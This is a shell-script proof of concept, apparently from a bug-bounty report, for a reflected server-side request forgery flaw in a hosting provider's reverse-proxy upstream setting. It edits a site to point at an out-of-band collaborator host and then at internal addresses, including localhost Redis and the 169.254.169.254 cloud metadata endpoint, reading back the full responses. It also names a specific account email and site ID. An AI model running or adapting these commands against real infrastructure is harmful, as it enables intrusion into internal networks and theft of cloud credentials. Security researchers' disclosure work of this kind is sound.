#!/bin/sh
# PoC: reverse_proxy "url" (script_upstream_uri) reflected full-read SSRF from alwaysdata infra.
# Account A web session (markcutton04@gmail.com / mchunt / site_id 1072866). Docker recon:latest.
# Reproduces: (1) external OOB + FULL response body reflected; (2) no save-time internal-IP guard;
#             (3) fetch node routes into 10.0.0.0/8 internal net (fast RST) vs 192.168/172.16 timeout.
#
# Usage inside container: sh ssrf_reverse_proxy_reflected.sh <COLLAB_HOST>
# Requires helper /tmp/rp_edit.py (edits site 1072866 -> reverse_proxy, sets url) + /tmp/cj_A.txt cookie jar.
set -e
COLLAB="${1:-YOUR-COLLAB.oastify.com}"
UA="Mozilla/5.0 (poc)"

echo "=== CONTROL: point upstream at attacker Collaborator, confirm reflected full-read ==="
python3 /tmp/rp_edit.py "http://poc.$COLLAB/upstream" | grep 'POST save'
sleep 22
curl -s -m 20 -A "$UA" "http://mchunt.alwaysdata.net/reqpath" -D - -o /tmp/poc_ext.body \
  | grep -iE '^(HTTP|server|via|x-collaborator):'
echo "--- body (attacker upstream reflected back to attacker) ---"; cat /tmp/poc_ext.body; echo
echo "  => server: Burp Collaborator + via: ...alproxy = alwaysdata infra fetched attacker URL AND"
echo "     reflected the FULL upstream response body to the attacker (not blind)."

echo
echo "=== EXPLOIT: no save-time guard on internal IPs (differential vs disclosed FS#460/461/462) ==="
for T in "http://127.0.0.1:80/" "http://127.0.0.1:6379/" "http://169.254.169.254/latest/meta-data/" "http://10.0.0.1/" "http://192.168.0.1/"; do
  python3 /tmp/rp_edit.py "$T" | grep 'POST save' | sed "s#^#  [$T] #"
  sleep 20
  curl -s -m 22 -A "$UA" "http://mchunt.alwaysdata.net/" -o /tmp/poc_int.body \
    -w "  [$T] HTTP %{http_code} | time %{time_total}\n"
  sleep 3
done
echo "  => save always succeeds (form accepts 127.0.0.1 / 169.254.169.254 with NO validation error);"
echo "     127.0.0.1:80 reaches the shared proxy itself; 10.0.0.1 replies fast (routed internal net),"
echo "     192.168/172.16 time out (filtered). Reflected body returns whatever a reachable svc serves."

echo
echo "=== CLEANUP: restore site to php ==="
python3 /tmp/form_submit.py "https://admin.alwaysdata.com/site/1072866/?_field_type=php" \
  "https://admin.alwaysdata.com/site/1072866/" "type=php" "path=/www" | grep 'POST ->'